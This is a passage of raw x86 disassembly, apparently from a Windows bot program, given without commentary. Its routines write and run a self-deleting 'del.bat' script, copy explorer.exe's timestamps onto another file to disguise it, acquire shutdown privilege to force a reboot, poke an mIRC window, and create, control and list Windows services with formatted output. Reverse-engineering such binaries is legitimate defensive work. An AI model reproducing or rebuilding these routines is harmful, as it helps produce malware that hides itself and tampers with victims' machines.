[ebp+arg_8] lea ecx, [eax+1] loc_4055DB: ; CODE XREF: sub_40556E+72j mov dl, [eax] inc eax test dl, dl jnz short loc_4055DB sub eax, ecx push eax push [ebp+arg_8] push ebx call sub_412A80 mov eax, [ebp+arg_4] add esp, 0Ch lea ecx, [eax+1] loc_4055F7: ; CODE XREF: sub_40556E+8Ej mov dl, [eax] inc eax test dl, dl jnz short loc_4055F7 sub eax, ecx add eax, esi mov esi, eax loc_405604: ; CODE XREF: sub_40556E+9Bj mov cl, [eax] inc eax test cl, cl jnz short loc_405604 mov edi, ebx sub eax, esi dec edi loc_405610: ; CODE XREF: sub_40556E+A8j mov cl, [edi+1] inc edi test cl, cl jnz short loc_405610 mov ecx, eax shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov esi, [ebp+arg_0] mov edx, esi mov eax, ebx sub edx, ebx loc_40562F: ; CODE XREF: sub_40556E+C9j mov cl, [eax] mov [edx+eax], cl inc eax test cl, cl jnz short loc_40562F loc_405639: ; CODE XREF: sub_40556E+50j push ebx call sub_412FE4 pop ecx loc_405640: ; CODE XREF: sub_40556E+3Bj mov eax, esi pop ebx jmp short loc_405647 ; --------------------------------------------------------------------------- loc_405645: ; CODE XREF: sub_40556E+Cj ; sub_40556E+17j ... xor eax, eax loc_405647: ; CODE XREF: sub_40556E+D5j pop edi pop esi pop ebp retn sub_40556E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40564B proc near ; CODE XREF: sub_40751F+C2p var_7D0 = dword ptr -7D0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push edi xor eax, eax mov ecx, 1F4h lea edi, [ebp+var_7D0] rep stosd mov ecx, [ebp+arg_0] mov eax, ecx lea esi, [eax+1] loc_40566E: ; CODE XREF: sub_40564B+28j mov dl, [eax] inc eax test dl, dl jnz short loc_40566E sub eax, esi xor ebx, ebx mov edi, eax inc ebx cmp edi, ebx jge short loc_405685 or eax, 0FFFFFFFFh jmp short loc_4056E5 ; --------------------------------------------------------------------------- loc_405685: ; CODE XREF: sub_40564B+33j xor edx, edx test edi, edi mov [ebp+var_7D0], ecx jle short loc_4056A5 loc_405691: ; CODE XREF: sub_40564B+58j mov al, [edx+ecx] cmp al, 0Ah jz short loc_40569C cmp al, 0Dh jnz short loc_4056A0 loc_40569C: ; CODE XREF: sub_40564B+4Bj and byte ptr [edx+ecx], 0 loc_4056A0: ; CODE XREF: sub_40564B+4Fj inc edx cmp edx, edi jl short loc_405691 loc_4056A5: ; CODE XREF: sub_40564B+44j xor esi, esi test edi, edi jle short loc_4056CF loc_4056AB: ; CODE XREF: sub_40564B+82j cmp byte ptr [esi+ecx], 0 jnz short loc_4056CA lea edx, [esi+ecx+1] cmp byte ptr [edx], 0 jz short loc_4056CA cmp ebx, 1F4h jge short loc_4056CF mov [ebp+ebx*4+var_7D0], edx inc ebx loc_4056CA: ; CODE XREF: sub_40564B+64j ; sub_40564B+6Dj inc esi cmp esi, edi jl short loc_4056AB loc_4056CF: ; CODE XREF: sub_40564B+5Ej ; sub_40564B+75j mov edi, [ebp+arg_4] test edi, edi jz short loc_4056E3 mov ecx, 1F4h lea esi, [ebp+var_7D0] rep movsd loc_4056E3: ; CODE XREF: sub_40564B+89j mov eax, ebx loc_4056E5: ; CODE XREF: sub_40564B+38j pop edi pop esi pop ebx leave retn sub_40564B endp ; =============== S U B R O U T I N E ======================================= sub_4056EA proc near ; CODE XREF: sub_405A98+26p ; sub_405AD5+79p arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_413A6E cmp al, 61h pop ecx jl short loc_405705 cmp al, 7Ah jg short loc_405705 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_405705: ; CODE XREF: sub_4056EA+Ej ; sub_4056EA+12j xor eax, eax retn sub_4056EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405708 proc near ; CODE XREF: sub_4078FA+2B12p ; sub_4078FA+3596p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call ds:dword_41F008 push 0 push 100h mov esi, eax lea eax, [ebp+var_100] push eax push 400h push esi push 0 push 1200h call ds:dword_41F07C lea eax, [ebp+var_100] loc_405741: ; CODE XREF: sub_405708+46j mov cl, [eax] cmp cl, 1Fh jg short loc_40574D cmp cl, 9 jnz short loc_405750 loc_40574D: ; CODE XREF: sub_405708+3Ej inc eax jmp short loc_405741 ; --------------------------------------------------------------------------- loc_405750: ; CODE XREF: sub_405708+43j ; sub_405708+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40576A mov cl, [eax] cmp cl, 2Eh jz short loc_405750 cmp cl, 21h jl short loc_405750 loc_40576A: ; CODE XREF: sub_405708+54j push esi lea eax, [ebp+var_100] push eax push [ebp+arg_0] mov esi, offset dword_433660 push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_412E0D add esp, 18h mov eax, esi pop esi leave retn sub_405708 endp ; =============== S U B R O U T I N E ======================================= sub_405792 proc near ; CODE XREF: sub_4078FA+41DFp push esi push 0 call dword_43344C test eax, eax jz short loc_4057C9 push 1 call dword_4335CC mov esi, eax test esi, esi jz short loc_4057C9 push edi push esi call ds:dword_41F084 push esi mov edi, eax call ds:dword_41F080 call dword_433430 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4057C9: ; CODE XREF: sub_405792+Bj ; sub_405792+19j xor eax, eax pop esi retn sub_405792 endp ; =============== S U B R O U T I N E ======================================= sub_4057CD proc near ; CODE XREF: sub_4078FA+34F6p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi push esi mov edi, offset aMirc_0 ; "mIRC" push edi call dword_4334F8 mov ebp, eax cmp ebp, esi jz short loc_405849 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call ds:dword_41F090 push esi push esi push esi mov edi, eax push 0F001Fh push edi call ds:dword_41F08C push [esp+10h+arg_0] mov ebx, eax push ebx call sub_412BB5 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_433560 push esi push 1 push 4C9h push ebp call dword_433560 push ebx call ds:dword_41F088 push edi call ds:dword_41F034 xor eax, eax inc eax pop ebx jmp short loc_40584B ; --------------------------------------------------------------------------- loc_405849: ; CODE XREF: sub_4057CD+16j xor eax, eax loc_40584B: ; CODE XREF: sub_4057CD+7Aj pop edi pop esi pop ebp retn sub_4057CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40584F proc near ; CODE XREF: sub_40D1EF+21Ep var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push esi xor esi, esi push esi lea eax, [ebp+var_11C] push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4334C0 test eax, eax jz short loc_4058F0 push ebx push edi push esi mov edi, 80h push edi push 3 push esi mov esi, ds:dword_41F03C push 1 push 80000000h lea eax, [ebp+var_11C] push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_4058EE lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call ds:dword_41F098 push ebx mov ebx, ds:dword_41F034 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4058EE lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call ds:dword_41F094 push esi call ebx loc_4058EE: ; CODE XREF: sub_40584F+51j ; sub_40584F+87j pop edi pop ebx loc_4058F0: ; CODE XREF: sub_40584F+28j pop esi leave retn sub_40584F endp ; =============== S U B R O U T I N E ======================================= sub_4058F3 proc near ; CODE XREF: sub_4078FA+11A9p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_40707D pop ecx pop ecx push 50005h push 6 call dword_433538 neg eax sbb eax, eax neg eax retn sub_4058F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405915 proc near ; CODE XREF: sub_401F06+495p ; sub_4078FA+4492p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push ebx xor ebx, ebx cmp dword_42AE58, ebx push esi jz short loc_405939 cmp dword_433600, ebx jnz short loc_405939 push ebx call sub_401E73 pop ecx loc_405939: ; CODE XREF: sub_405915+13j ; sub_405915+1Bj lea eax, [ebp+var_764] push eax push 400h call ds:dword_41F0A4 lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_412BB5 add esp, 0Ch push ebx push ebx push 2 push ebx push ebx push 40000000h lea eax, [ebp+var_260] push eax call ds:dword_41F03C mov esi, eax cmp esi, ebx jbe loc_405A94 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_412BB5 lea eax, [ebp+var_764] add esp, 0Ch lea edx, [eax+1] loc_4059AC: ; CODE XREF: sub_405915+9Cj mov cl, [eax] inc eax cmp cl, bl jnz short loc_4059AC push edi push ebx lea ecx, [ebp+var_4] push ecx sub eax, edx push eax lea eax, [ebp+var_764] push eax push esi call ds:dword_41F038 push esi call ds:dword_41F034 xor eax, eax lea edi, [ebp+var_14] stosd stosd stosd push 11h stosd pop ecx xor eax, eax lea edi, [ebp+var_58] rep stosd mov esi, 104h push esi lea eax, [ebp+var_15C] push eax push ebx mov [ebp+var_4C], 41FA76h mov [ebp+var_58], 44h mov [ebp+var_2C], 1 mov [ebp+var_28], bx call ds:dword_41F078 push eax call ds:dword_41F010 lea eax, [ebp+var_15C] push eax call ds:dword_41F06C cmp eax, 0FFFFFFFFh pop edi jz short loc_405A3D push 80h lea eax, [ebp+var_15C] push eax call ds:dword_41F0A0 loc_405A3D: ; CODE XREF: sub_405915+114j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_412BB5 add esp, 10h push esi lea eax, [ebp+var_364] push eax lea eax, [ebp+var_764] push eax call ds:dword_41F09C lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push ebx push ebx push 4010h push ebx push ebx push ebx lea eax, [ebp+var_364] push eax push ebx call ds:dword_41F030 loc_405A94: ; CODE XREF: sub_405915+6Dj pop esi pop ebx leave retn sub_405915 endp ; =============== S U B R O U T I N E ======================================= sub_405A98 proc near ; CODE XREF: sub_405AD5+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h rep stosd lea edi, [eax-1] xor esi, esi test edi, edi jl short loc_405AD2 push ebx mov ebx, edi loc_405AB5: ; CODE XREF: sub_405A98+37j mov eax, [esp+0Ch+arg_0] movsx eax, byte ptr [esi+eax] push eax call sub_4056EA pop ecx mov ecx, [esp+0Ch+arg_8] inc esi mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_405AB5 pop ebx loc_405AD2: ; CODE XREF: sub_405A98+18j pop edi pop esi retn sub_405A98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AD5 proc near ; CODE XREF: sub_401D13+10p ; sub_401D45+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_412DD0 mov eax, [ebp+arg_0] lea edx, [eax+1] loc_405AE8: ; CODE XREF: sub_405AD5+18j mov cl, [eax] inc eax test cl, cl jnz short loc_405AE8 sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+arg_4] lea ecx, [eax+1] loc_405AFA: ; CODE XREF: sub_405AD5+2Aj mov dl, [eax] inc eax test dl, dl jnz short loc_405AFA push ebx push esi sub eax, ecx mov esi, eax push edi lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_405A98 add esp, 0Ch dec esi mov edi, esi jmp short loc_405B97 ; --------------------------------------------------------------------------- loc_405B23: ; CODE XREF: sub_405AD5+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_413A6E mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_413A6E cmp eax, ebx pop ecx pop ecx jz short loc_405B95 loc_405B45: ; CODE XREF: sub_405AD5+BEj mov ebx, [ebp+arg_0] xor eax, eax mov al, [edi+ebx] push eax call sub_4056EA mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_405B68 mov eax, ecx loc_405B68: ; CODE XREF: sub_405AD5+8Fj add edi, eax cmp edi, [ebp+var_4] jge short loc_405BA5 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_413A6E movsx ecx, byte ptr [edi+ebx] push ecx mov [ebp+var_8], eax call sub_413A6E pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_405B45 loc_405B95: ; CODE XREF: sub_405AD5+6Ej dec edi dec esi loc_405B97: ; CODE XREF: sub_405AD5+4Cj test esi, esi jg short loc_405B23 mov eax, [ebp+arg_0] add eax, edi loc_405BA0: ; CODE XREF: sub_405AD5+D2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_405BA5: ; CODE XREF: sub_405AD5+98j xor eax, eax jmp short loc_405BA0 sub_405AD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405BA9 proc near ; CODE XREF: sub_40668A+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi push 0F003Fh xor ebx, ebx push ebx push ebx call dword_43355C mov edi, eax cmp edi, ebx jnz short loc_405BD0 call ds:dword_41F008 mov ebx, eax jmp short loc_405C45 ; --------------------------------------------------------------------------- loc_405BD0: ; CODE XREF: sub_405BA9+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4335D8 mov esi, eax cmp esi, ebx jnz short loc_405BF0 call ds:dword_41F008 mov ebx, eax jmp short loc_405C3D ; --------------------------------------------------------------------------- loc_405BF0: ; CODE XREF: sub_405BA9+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_405C23 cmp eax, 3 jz short loc_405C14 jle short loc_405C36 cmp eax, 6 jg short loc_405C36 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_433580 jmp short loc_405C2A ; --------------------------------------------------------------------------- loc_405C14: ; CODE XREF: sub_405BA9+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_433564 jmp short loc_405C2A ; --------------------------------------------------------------------------- loc_405C23: ; CODE XREF: sub_405BA9+4Dj push esi call dword_433494 loc_405C2A: ; CODE XREF: sub_405BA9+69j ; sub_405BA9+78j test eax, eax jnz short loc_405C36 call ds:dword_41F008 mov ebx, eax loc_405C36: ; CODE XREF: sub_405BA9+54j ; sub_405BA9+59j ... push esi call dword_4334D0 loc_405C3D: ; CODE XREF: sub_405BA9+45j push edi call dword_4334D0 pop esi loc_405C45: ; CODE XREF: sub_405BA9+25j pop edi mov eax, ebx pop ebx leave retn sub_405BA9 endp ; =============== S U B R O U T I N E ======================================= sub_405C4B proc near ; CODE XREF: sub_40668A:loc_4066D2p mov ecx, 420h cmp eax, ecx ja loc_405CFC jz loc_405CF5 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_405CBF jz short loc_405CB5 mov ecx, eax sub ecx, 3 jz short loc_405CAB dec ecx dec ecx jz short loc_405CA1 dec ecx jz short loc_405C97 sub ecx, 51h jz short loc_405C8D sub ecx, 24h jnz loc_405D72 ; default ; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_405D64 ; --------------------------------------------------------------------------- loc_405C8D: ; CODE XREF: sub_405C4B+2Dj push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_405D64 ; --------------------------------------------------------------------------- loc_405C97: ; CODE XREF: sub_405C4B+28j push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_405D64 ; --------------------------------------------------------------------------- loc_405CA1: ; CODE XREF: sub_405C4B+25j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_405D64 ; --------------------------------------------------------------------------- loc_405CAB: ; CODE XREF: sub_405C4B+21j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_405D64 ; --------------------------------------------------------------------------- loc_405CB5: ; CODE XREF: sub_405C4B+1Aj push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_405D64 ; --------------------------------------------------------------------------- loc_405CBF: ; CODE XREF: sub_405C4B+18j mov ecx, eax sub ecx, 41Ch jz short loc_405CEE dec ecx jz short loc_405CE7 dec ecx jz short loc_405CE0 dec ecx jnz loc_405D72 ; default ; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_405D64 ; --------------------------------------------------------------------------- loc_405CE0: ; CODE XREF: sub_405C4B+82j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_405D64 ; --------------------------------------------------------------------------- loc_405CE7: ; CODE XREF: sub_405C4B+7Fj push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_405D64 ; --------------------------------------------------------------------------- loc_405CEE: ; CODE XREF: sub_405C4B+7Cj push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_405D64 ; --------------------------------------------------------------------------- loc_405CF5: ; CODE XREF: sub_405C4B+Dj push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_405D64 ; --------------------------------------------------------------------------- loc_405CFC: ; CODE XREF: sub_405C4B+7j mov ecx, 45Bh cmp eax, ecx ja short loc_405D72 ; default ; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16 jz short loc_405D5F lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_405D72 ; default ; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_405DB3[ecx] jmp ds:off_405D8B[ecx*4] ; switch jump loc_405D20: ; DATA XREF: .text:off_405D8Bo push offset aTheSpecifiedDa ; jumptable 00405D19 case 7 jmp short loc_405D64 ; --------------------------------------------------------------------------- loc_405D27: ; CODE XREF: sub_405C4B+CEj ; DATA XREF: .text:off_405D8Bo push offset aTheServiceDepe ; jumptable 00405D19 case 17 jmp short loc_405D64 ; --------------------------------------------------------------------------- loc_405D2E: ; CODE XREF: sub_405C4B+CEj ; DATA XREF: .text:off_405D8Bo push offset aTheServiceDe_0 ; jumptable 00405D19 case 10 jmp short loc_405D64 ; --------------------------------------------------------------------------- loc_405D35: ; CODE XREF: sub_405C4B+CEj ; DATA XREF: .text:off_405D8Bo push offset aTheServiceHasB ; jumptable 00405D19 case 0 jmp short loc_405D64 ; --------------------------------------------------------------------------- loc_405D3C: ; CODE XREF: sub_405C4B+CEj ; DATA XREF: .text:off_405D8Bo push offset aTheSpecified_0 ; jumptable 00405D19 case 2 jmp short loc_405D64 ; --------------------------------------------------------------------------- loc_405D43: ; CODE XREF: sub_405C4B+CEj ; DATA XREF: .text:off_405D8Bo push offset aTheServiceCoul ; jumptable 00405D19 case 11 jmp short loc_405D64 ; --------------------------------------------------------------------------- loc_405D4A: ; CODE XREF: sub_405C4B+CEj ; DATA XREF: .text:off_405D8Bo push offset aTheServiceHa_0 ; jumptable 00405D19 case 14 jmp short loc_405D64 ; --------------------------------------------------------------------------- loc_405D51: ; CODE XREF: sub_405C4B+CEj ; DATA XREF: .text:off_405D8Bo push offset aTheRequested_1 ; jumptable 00405D19 case 3 jmp short loc_405D64 ; --------------------------------------------------------------------------- loc_405D58: ; CODE XREF: sub_405C4B+CEj ; DATA XREF: .text:off_405D8Bo push offset aTheServiceHasN ; jumptable 00405D19 case 4 jmp short loc_405D64 ; --------------------------------------------------------------------------- loc_405D5F: ; CODE XREF: sub_405C4B+BAj push offset aTheSystemIsShu ; "The system is shutting down." loc_405D64: ; CODE XREF: sub_405C4B+3Dj ; sub_405C4B+47j ... push offset dword_433860 call sub_412BB5 pop ecx pop ecx jmp short loc_405D85 ; --------------------------------------------------------------------------- loc_405D72: ; CODE XREF: sub_405C4B+32j ; sub_405C4B+85j ... push eax ; default ; jumptable 00405D19 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_433860 call sub_412BB5 add esp, 0Ch loc_405D85: ; CODE XREF: sub_405C4B+125j mov eax, offset dword_433860 retn sub_405C4B endp ; --------------------------------------------------------------------------- off_405D8B dd offset loc_405D35 ; DATA XREF: sub_405C4B+CEr dd offset loc_405D3C ; jump table for switch statement dd offset loc_405D51 dd offset loc_405D58 dd offset loc_405D20 dd offset loc_405D2E dd offset loc_405D43 dd offset loc_405D4A dd offset loc_405D27 dd offset loc_405D72 byte_405DB3 db 0, 9, 1, 2 ; DATA XREF: sub_405C4B+C7r db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405DC5 proc near ; CODE XREF: sub_4078FA+1C1Dp var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43355C push ebx push [ebp+arg_8] mov [ebp+var_C], eax push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h loc_405DFD: ; CODE XREF: sub_405DC5+123j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push 168h lea eax, [ebp+var_18C] push eax push 3 push 30h push [ebp+var_C] call dword_43356C test eax, eax jnz short loc_405E37 call ds:dword_41F008 cmp eax, 0EAh jnz loc_405EEE loc_405E37: ; CODE XREF: sub_405DC5+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_405EE5 lea esi, [ebp+var_188] loc_405E48: ; CODE XREF: sub_405DC5+11Aj mov eax, [esi+8] dec eax jz short loc_405E94 dec eax jz short loc_405E8D dec eax jz short loc_405E86 dec eax jz short loc_405E7F dec eax jz short loc_405E78 dec eax jz short loc_405E71 dec eax lea eax, [ebp+var_20] jz short loc_405E6A push offset aUnknown_0 ; " Unknown" jmp short loc_405E9C ; --------------------------------------------------------------------------- loc_405E6A: ; CODE XREF: sub_405DC5+9Cj push offset aPaused_0 ; " Paused" jmp short loc_405E9C ; --------------------------------------------------------------------------- loc_405E71: ; CODE XREF: sub_405DC5+96j push offset aPausing ; " Pausing" jmp short loc_405E99 ; --------------------------------------------------------------------------- loc_405E78: ; CODE XREF: sub_405DC5+93j push offset aContinuing ; " Continuing" jmp short loc_405E99 ; --------------------------------------------------------------------------- loc_405E7F: ; CODE XREF: sub_405DC5+90j push offset aRunning ; " Running" jmp short loc_405E99 ; --------------------------------------------------------------------------- loc_405E86: ; CODE XREF: sub_405DC5+8Dj push offset aStoping ; " Stoping" jmp short loc_405E99 ; --------------------------------------------------------------------------- loc_405E8D: ; CODE XREF: sub_405DC5+8Aj push offset aStarting ; " Starting" jmp short loc_405E99 ; --------------------------------------------------------------------------- loc_405E94: ; CODE XREF: sub_405DC5+87j push offset aStopped ; " Stopped" loc_405E99: ; CODE XREF: sub_405DC5+B1j ; sub_405DC5+B8j ... lea eax, [ebp+var_20] loc_405E9C: ; CODE XREF: sub_405DC5+A3j ; sub_405DC5+AAj push eax call sub_412BB5 pop ecx pop ecx push dword ptr [esi] lea eax, [ebp+var_20] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_0 ; "%s: %s (%s)" push eax call sub_412BB5 push 1 push [ebp+arg_8] lea eax, [ebp+var_38C] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_405E48 loc_405EE5: ; CODE XREF: sub_405DC5+77j cmp [ebp+var_8], ebx jnz loc_405DFD loc_405EEE: ; CODE XREF: sub_405DC5+6Cj push [ebp+var_C] call dword_4334D0 xor eax, eax cmp eax, [ebp+var_4] pop edi sbb eax, eax pop esi neg eax pop ebx leave retn sub_405DC5 endp ; =============== S U B R O U T I N E ======================================= sub_405F05 proc near ; CODE XREF: sub_405FC7+Ap ; sub_405FC7+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_405F12 pop ebp retn ; --------------------------------------------------------------------------- loc_405F12: ; CODE XREF: sub_405F05+9j push ebx push esi mov esi, ds:dword_41F0A8 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_413A90 pop ecx push edi mov ebx, eax push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi pop esi mov eax, ebx pop ebx pop ebp retn sub_405F05 endp ; =============== S U B R O U T I N E ======================================= sub_405F46 proc near ; CODE XREF: sub_40E9C5+248p arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_20 = dword ptr 24h mov eax, offset loc_41E8BA call sub_413EF4 push esi xor esi, esi cmp [esp+4+arg_10], esi jnz short loc_405F5D xor eax, eax jmp short loc_405FB9 ; --------------------------------------------------------------------------- loc_405F5D: ; CODE XREF: sub_405F46+11j push ebx push ebp push edi mov edi, ds:dword_41F0AC push esi push esi push esi push esi push 0FFFFFFFFh push [esp+24h+arg_10] mov ebx, 400h push ebx push esi call edi test byte ptr dword_4338C0, 1 mov ebp, eax jnz short loc_405F9E or dword_4338C0, 1 lea eax, [ebp+1] push eax mov [esp+4+arg_14], esi call sub_413A90 pop ecx mov dword_4338BC, eax loc_405F9E: ; CODE XREF: sub_405F46+3Cj push esi push esi push ebp push dword_4338BC push 0FFFFFFFFh push [esp+14h+arg_20] push ebx push esi call edi mov eax, dword_4338BC pop edi pop ebp pop ebx loc_405FB9: ; CODE XREF: sub_405F46+15j mov ecx, [esp+4] pop esi mov large fs:0, ecx leave retn sub_405F46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FC7 proc near ; CODE XREF: sub_406702+6Cp ; sub_40ECEC+18Fp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push edi push [ebp+arg_0] call sub_405F05 push [ebp+arg_4] mov edi, eax call sub_405F05 push 24h push [ebp+arg_4] mov [ebp+var_24], eax call sub_413F30 push [ebp+arg_8] neg eax sbb eax, eax and [ebp+var_1C], 0 or [ebp+var_14], 0FFFFFFFFh and [ebp+var_10], 0 and eax, 80000000h mov [ebp+var_20], eax mov [ebp+var_18], 7Fh call sub_405F05 and [ebp+var_8], 0 add esp, 14h mov [ebp+var_C], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push 2 push edi call dword_433488 pop edi leave retn sub_405FC7 endp ; =============== S U B R O U T I N E ======================================= sub_406032 proc near ; CODE XREF: sub_406702+20p ; sub_40E9C5+1BDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_405F05 push [esp+8+arg_4] mov esi, eax call sub_405F05 pop ecx pop ecx push 0 push eax push esi call dword_4334A4 pop esi retn sub_406032 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406055 proc near ; CODE XREF: sub_4068DF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_405F05 push [ebp+arg_4] mov edi, eax call sub_405F05 push [ebp+arg_8] mov [ebp+var_24], eax call sub_405F05 and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 add esp, 0Ch lea ecx, [ebp+var_4] push ecx mov [ebp+var_20], eax xor eax, eax lea ecx, [ebp+var_24] inc eax push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43346C pop edi leave retn sub_406055 endp ; =============== S U B R O U T I N E ======================================= 